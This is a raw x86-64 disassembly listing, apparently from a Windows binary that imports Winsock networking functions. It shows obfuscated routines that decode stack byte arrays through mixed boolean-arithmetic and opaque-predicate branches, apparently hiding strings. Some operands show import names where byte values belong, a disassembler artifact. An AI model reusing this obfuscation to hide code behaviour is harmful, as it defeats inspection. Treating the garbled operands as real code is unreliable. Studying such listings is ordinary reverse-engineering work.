and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x140083543
cmp rbx, rcx
jne 0x140083b9e
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
movzx r11d, r9b
jmp 0x140083ca5
cmp rbx, rdx
jne 0x140083bc5
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
jmp 0x140083d9e
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140083bf0
movzx ecx, r9b
and cl, r10b
add cl, cl
movzx edi, r9b
sub dil, cl
add dil, r10b
dec r9
inc r9
jmp 0x140083543
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400838b5
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x80
movzx r11d, r9b
jmp 0x140083d33
mov byte [rbp + r9 + 0x3c0], dil
inc r9
jmp 0x140083543
movzx eax, r9b
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
add dil, r9b
add dil, r10b
lea ecx, [r9 - 0x60]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x60
add r10b, cl
add r10b, dil
mov byte [rbp + r9 + 0x3c0], r10b
jmp 0x140083d9e
lea edx, [r9 + 0x40]
movzx eax, dl
and al, r10b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
movzx r11d, r9b
jmp 0x140083ca5
movzx r11d, r9b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
sub r11b, 0x20
movzx eax, r10b
and al, r11b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x20
add cl, r11b
movzx eax, cl
mov byte [rbp + r9 + 0x3c0], al
inc r8
add rax, r8
sub r9, rax
jmp 0x140083dd2
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140083d9e
movzx r11d, r9b
lea edx, [r11 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140083d33
movzx r11d, r9b
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
add r11b, 0x60
movzx eax, r10b
and al, r11b
mov ecx, 0x30
sub cl, al
add cl, cl
add cl, r10b
add cl, r11b
mov byte [rbp + r9 + 0x3c0], cl
inc r8
dec r9
inc r9
jmp 0x140083543
lea edx, [r9 + 0x60]
movzx eax, dl
and al, r10b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r9
inc r9
jmp 0x140083543
lea ecx, [r9 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
inc r9
jmp 0x140083543
lea rcx, [r9 + r12]
and sil, cl
mov eax, reloc.WS2_32.dll_recv
sub al, sil
lea edi, [rax + rax]
add dil, r10b
add dil, cl
lea ecx, [r9 + 0x80]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x80
add cl, r10b
mov byte [rbp + r9 + 0x3c0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x140083543
lea rax, [r9 + r15]
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x20
movzx eax, byte [rbp + r9 + 0x3c0]
add rax, r8
add r9, rax
inc r9
jmp 0x140083543
add r11b, 0x20
movzx eax, r11b
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, r11b
add dil, r10b
jmp 0x140083540
sub r11b, 0x20
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x20
jmp 0x140083524
lea rcx, [rbp + 0x17dd340]
jmp 0x140083ea0
lea rcx, [rbp + 0x565ee0]
jmp 0x140083ea0
lea rcx, [rbp + 0x3c0]
lea rdx, [0x1401feb85]
call fcn.140039a40
mov byte [rbp + 0x690], 0xed
mov byte [rbp + 0x691], 0xc7
mov byte [rbp + 0x692], 0xcb
mov byte [rbp + 0x693], 0xcd
mov byte [rbp + 0x694], 0xc6
mov byte [rbp + 0x695], 0xca
mov byte [rbp + 0x696], 0x90
mov byte [rbp + 0x697], __WSAFDIsSet
mov byte [rbp + 0x698], 0xbf
mov byte [rbp + 0x699], 0x43
mov byte [rbp + 0x69a], 0xbe
mov byte [rbp + 0x69b], 0xb0
mov byte [rbp + 0x69c], 0x44
mov byte [rbp + 0x69d], 0xb2
mov byte [rbp + 0x69e], 0xb4
mov byte [rbp + 0x69f], 0xe7
mov byte [rbp + 0x6a0], 0x98
mov byte [rbp + 0x6a1], 0xb4
mov byte [rbp + 0x6a2], 0x4c
mov byte [rbp + 0x6a3], 0xc3
xor eax, eax
mov qword [rbp + 0x6a4], rax
mov dword [rbp + 0x6ac], eax
mov byte [rbp + 0x6b0], al
movabs rsi, 0xcb958c4b81732c39
movabs r15, 0xf9ebbd79873fdd1d
movabs r14, 0x62c0a4e2845984ab
movzx edi, byte [rsp + 0x50]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x21
jae 0x140084b6f
movzx r10d, byte [rbp + r11 + 0x690]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140084b63
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140083fd3
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x71
jmp 0x140084000
je 0x140084af3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140084a9a
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084a42
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140084a1e
movzx r9d, r11b
cmp r8, r11
ja 0x140084b57
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140084035
lea ecx, [r9 - 0x53]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x45
jmp 0x140084080
je 0x1400849db
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400849b5
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140084992
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140084975
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008492d
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400848fe
nop dword [rax]
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x1400845e8
nop dword [rax]
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400845cd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400845a4
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x14008457e
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008455f
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008453f
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x140084522
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x140084507
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x1400844ea
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x1400844bb
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140084090
lea rbx, [r8 + 0x20]
lea r8, [rbx + 0x28]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x140084b3a
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140084b1d
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140084274
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140084259
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14008423e
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008446a
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140084421
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x1400843e6
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x1400843be
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x140084090
lea rbx, [r8 + 0x61]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008438c
lea rax, [r8 + 0x80]
cmp rbx, rax
ja 0x14008436f
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140084354
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140084337
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14008431a
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x1400842ff
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x1400842d9
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x1400842b0
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140084291
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x140084090
lea rbx, [r8 + 6]
lea r8, [rbx + 0x41]
jmp 0x140084090
lea ecx, [r9 - 0xd]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5b
jmp 0x140084080
lea ecx, [r9 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x79
jmp 0x140084004
add r9b, 0xf
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x69
jmp 0x140083fa0
lea edx, [r9 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400849f1
sub r9b, 0xa
movzx eax, r9b
and al, r10b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140083f83
sub r9b, 0x7c
movzx eax, r9b
and al, r10b
mov ecx, 0x32
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140083f83
lea ecx, [r9 + 0x12]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7e
jmp 0x140084a5c
sub r9b, 0x60
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x60
jmp 0x140084a7e
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x42
jmp 0x140084a81
lea ecx, [r9 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x140084943
add r9b, 0x4a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 6
jmp 0x140084ab0
sub r9b, 0x28
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
sub r9b, 0x45
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x1d
mov byte [rbp + r11 + 0x690], dil
inc r11
jmp 0x140083f83
lea ecx, [r9 + 0x49]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
inc dil
cmp r8, 0x40
jb 0x1400843d6
lea ecx, [r9 - 0x4a]
movzx eax, cl
and al, r10b
mov edx, 3
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400849f1
lea ecx, [r9 - 0x29]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1f
cmp rbx, 3
jae 0x1400848c6
lea rax, [r8 + 4]
cmp rbx, rax
jbe 0x140084809
lea edx, [r9 + 0x42]
movzx eax, dl
and al, r10b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400843fb
lea ecx, [r9 + 0x65]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x3d
lea rax, [r8 + rbx]
cmp rax, 0x3e8
je 0x1400848e8
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x1400846f9
lea ecx, [r9 - 0x6b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x13
jmp 0x140084437
add r9b, 0xe
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x62
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
sub r9b, 0x64
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x44
jmp 0x140084ab0
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x140084943
sub r9b, 0x48
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 8
jmp 0x140084a81
add r9b, 0x46
movzx eax, r9b
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140084a7e
lea edx, [r9 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140084a5c
add r9b, 0x62
movzx eax, r9b
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
dec r11
inc r11
jmp 0x140083f83
sub r9b, 0x10
movzx eax, r9b
and al, r10b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x140083f83
lea ecx, [r9 + 0x7e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x72
jmp 0x1400849f1
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x140084610
lea ecx, [r9 + 0x39]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x71
jmp 0x140084480
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008464c
add r9b, 0x5a
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x76
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084679
sub r9b, 0x50
movzx eax, r9b
and al, r10b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x140084a81
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x1400846a1
lea ecx, [r9 - 0x6c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
jmp 0x140084a5c
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400846d1
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
dec r11
inc r11
jmp 0x140083f83
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140084480
lea ecx, [r9 - 0x16]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x66
jmp 0x1400849f1
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084721
lea ecx, [r9 + 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x31
jmp 0x1400849f1
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140084751
sub r9b, 0x15
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6d
dec r11
inc r11
jmp 0x140083f83
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008477b
add r9b, 0x41
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x39
jmp 0x140084a81
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400847a3
lea ecx, [r9 - 0x4d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1b
jmp 0x140084943
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400847cd
add r9b, 0x25
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 3
jmp 0x140084ab0
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140084437
sub r9b, 0x69
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x21
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140084848
sub r9b, 0x4c
movzx eax, r9b
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140084870
lea ecx, [r9 - 0x68]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x28
jmp 0x140084943
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008489a
add r9b, 0x7c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x64
jmp 0x140084a7e
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x1400843fb
lea edx, [r9 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400849f1
lea edx, [r9 + 0x28]
movzx eax, dl
and al, r10b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
add dil, dl
add dil, r10b
jmp 0x140084a5c
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x36]
jmp 0x140084943
sub r9b, 0x51
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 0x37
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
lea ecx, [r9 - 0x35]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x73
sub r9b, 0x2d
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
add cl, 0x3b
add cl, r9b
movzx eax, cl
mov byte [rbp + r11 + 0x690], al
inc r8
add rax, r8
sub r11, rax
jmp 0x140084ab0
add r9b, 0x59
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x6f
jmp 0x140084a81
add r9b, 3
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x15
dec r11
inc r11
jmp 0x140083f83
sub r9b, 0x6f
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
add dil, 9
inc r8
dec r11
inc r11
jmp 0x140083f83
lea ecx, [r9 + 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x27
sub r9b, 0x11
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x77
add r10b, r9b
mov byte [rbp + r11 + 0x690], r10b
inc r8
dec r11
inc r11
jmp 0x140083f83
lea ecx, [r11 - 0x37]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7f
inc r8
dec r11
inc r11
jmp 0x140083f83
movzx r9d, r11b
lea ecx, [r9 - 0x1b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x43
add r9b, 0x61
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
add r10b, 0x59
add r10b, dil
add r10b, r9b
mov byte [rbp + r11 + 0x690], r10b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140083f83
lea rcx, [r11 + r15]
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
add dil, 0x35
add dil, cl
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x54
add cl, r10b
mov byte [rbp + r11 + 0x690], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
lea rax, [r11 + r14]
and dl, al
add dl, dl
sub r10b, dl
lea edi, [rax + r10]
add dil, 0x53
movzx eax, byte [rbp + r11 + 0x690]
add rax, r8
add r11, rax
inc r11
jmp 0x140083f83
sub r9b, 0x63
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4b
jmp 0x140083f80
add r9b, 0x2b
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2d
jmp 0x140083f70
lea rcx, [rbp + 0x161bcdc]
jmp 0x140084b76
lea rcx, [rbp + 0x54e915]
jmp 0x140084b76
lea rcx, [rbp + 0x690]
lea rdx, [0x1401feb86]
call fcn.140039a40
mov byte [rbp + 0x6c0], 0xe1
mov byte [rbp + 0x6c1], 0x3f
mov byte [rbp + 0x6c2], recvfrom
mov byte [rbp + 0x6c3], 5
mov byte [rbp + 0x6c4], 0x3c
mov byte [rbp + 0x6c5], 4
mov byte [rbp + 0x6c6], 0xf6
mov byte [rbp + 0x6c7], 0x29
mov byte [rbp + 0x6c8], gethostname
mov byte [rbp + 0x6c9], 0x3c
mov byte [rbp + 0x6ca], 0
mov byte [rbp + 0x6cb], 0x3d
mov byte [rbp + 0x6cc], 3
mov byte [rbp + 0x6cd], 0xa
mov byte [rbp + 0x6ce], 0xfe
mov byte [rbp + 0x6cf], 0xd5
mov byte [rbp + 0x6d0], gethostname
mov byte [rbp + 0x6d1], 9
mov byte [rbp + 0x6d2], recvfrom
mov byte [rbp + 0x6d3], gethostname
mov byte [rbp + 0x6d4], gethostname
mov byte [rbp + 0x6d5], 0xf9
mov byte [rbp + 0x6d6], 0xc8
mov byte [rbp + 0x6d7], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x6d8], 0x1c
mov byte [rbp + 0x6d9], 0x85
xor eax, eax
mov qword [rbp + 0x6da], rax
mov dword [rbp + 0x6e2], eax
movabs r14, 0x3d9e2095447ab59a
movabs r12, 0x3416a2ea56658c02
movabs r15, 0xb8da61bfcd7020ce
movzx edi, byte [rsp + 0x50]
nop word [rax + rax]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x26
jae 0x140085591
movzx r11d, byte [rbp + r10 + 0x6c0]
mov esi, r11d
nop dword [rax]
cmp rbx, r10
ja 0x140085585
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x140084cd7
lea rcx, [r10 + r14]
mov rax, rsi
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rsi
add rdi, rcx
sub dil, 0x36
lea rcx, [r8 + 2]
jmp 0x140084d04
je 0x14008552a
lea rcx, [r8 + 2]
cmp rbx, rcx
je 0x1400854cb
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140085499
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140085478
cmp r8, r10
ja 0x140085579
lea rax, [r8 + 0x28]
cmp rbx, rax
jae 0x140084d35
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x6e
jmp 0x140084d61
cmp rbx, rdx
je 0x14008542a
cmp rbx, rcx
je 0x140085405
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400853e0
lea rax, [r8 + 9]
cmp rbx, rax
je 0x1400853b2
movzx r9d, r10b
nop word [rax + rax]
lea rdx, [r8 + rbx]
cmp rdx, r10
jbe 0x140085093
nop dword [rax]
lea rax, [r8 + 0x10]
cmp rbx, rax
je 0x140085078
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x140085055
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140085035
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140085016
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140084fe5
mov rbx, rax
lea r8, [rax + 5]
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x140085559
lea rax, [r8 + 0x42]
cmp rbx, rax
jb 0x140084e84
lea rax, [r8 + 0x41]
cmp rbx, rax
jb 0x140084e65
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140084f70
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140084f4a
mov rbx, rax
lea r8, [rax + 0x2a]
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140084f1d
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140084efe
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140084edf
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x140084eba
lea rax, [r8 + 0x20]
movzx r9d, r10b
cmp rbx, rax
ja 0x140084e9f
mov rbx, rax
lea r8, [rax + 0x1000]
jmp 0x140084d80
movzx r9d, r10b
lea ecx, [r9 - 0x62]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x52
jmp 0x140084d70
lea ecx, [r10 + 0x36]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x7a
jmp 0x140084ca0
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x70
jmp 0x140085448
lea edx, [r10 - 0x58]
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
dec r10
inc r10
jmp 0x140084c83
lea edx, [r10 + 0x40]
movzx eax, dl
and al, r11b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x1400854af
lea edx, [r10 - 0x28]
movzx eax, dl
and al, r11b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140085381
lea ecx, [r10 + 0x70]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x10
movzx eax, byte [rbp + r10 + 0x6c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084c83
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 2
mov byte [rbp + r10 + 0x6c0], dil
inc r10
jmp 0x140084c83
lea ecx, [r10 + 6]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x2a
cmp rbx, 0x7a
jae 0x140085325
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140085283
lea edx, [r10 + 0x54]
movzx eax, r11b
and al, dl
add al, al
movzx edi, r11b
sub dil, al
sub dil, 0x4c
add dil, dl
cmp r8, 0x200
jb 0x140084f60
lea edx, [r10 + 0x5c]
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
movzx r9d, r10b
jmp 0x140085448
lea edx, [r10 - 0x34]
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
movzx eax, byte [rbp + r10 + 0x6c0]
add rax, r8
add r10, rax
inc r10
jmp 0x140084c83
lea edx, [r10 + 0x64]
movzx eax, dl
and al, r11b
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
jmp 0x140085381
sub r9b, 4
movzx eax, r9b
and al, r11b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r11b
jmp 0x1400854af
sub r9b, 0x6c
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
lea edi, [r11 + r9]
sub dil, 0xc
dec r10
inc r10
jmp 0x140084c83
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x34
jmp 0x140085448
lea r9, [r8 + 1]
lea rax, [r8 + 8]
cmp rbx, rax
jae 0x1400850f4
lea ecx, [r10 - 0x66]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edi, [r11 + rcx]
sub dil, 0x36
lea rax, [r8 + 2]
lea rcx, [r8 + 3]
cmp rdx, 2
je 0x140085364
cmp rbx, rax
